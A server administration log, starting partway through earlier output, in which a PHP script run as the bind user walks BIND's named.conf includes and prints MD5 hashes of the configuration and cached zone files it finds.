MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:40:18: Establishing a connection
2026-04-23 14:40:18: 

PUT: /tmp/pkp653591

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:40:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp653591; rm /tmp/pkp653591'

2026-04-23 14:40:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
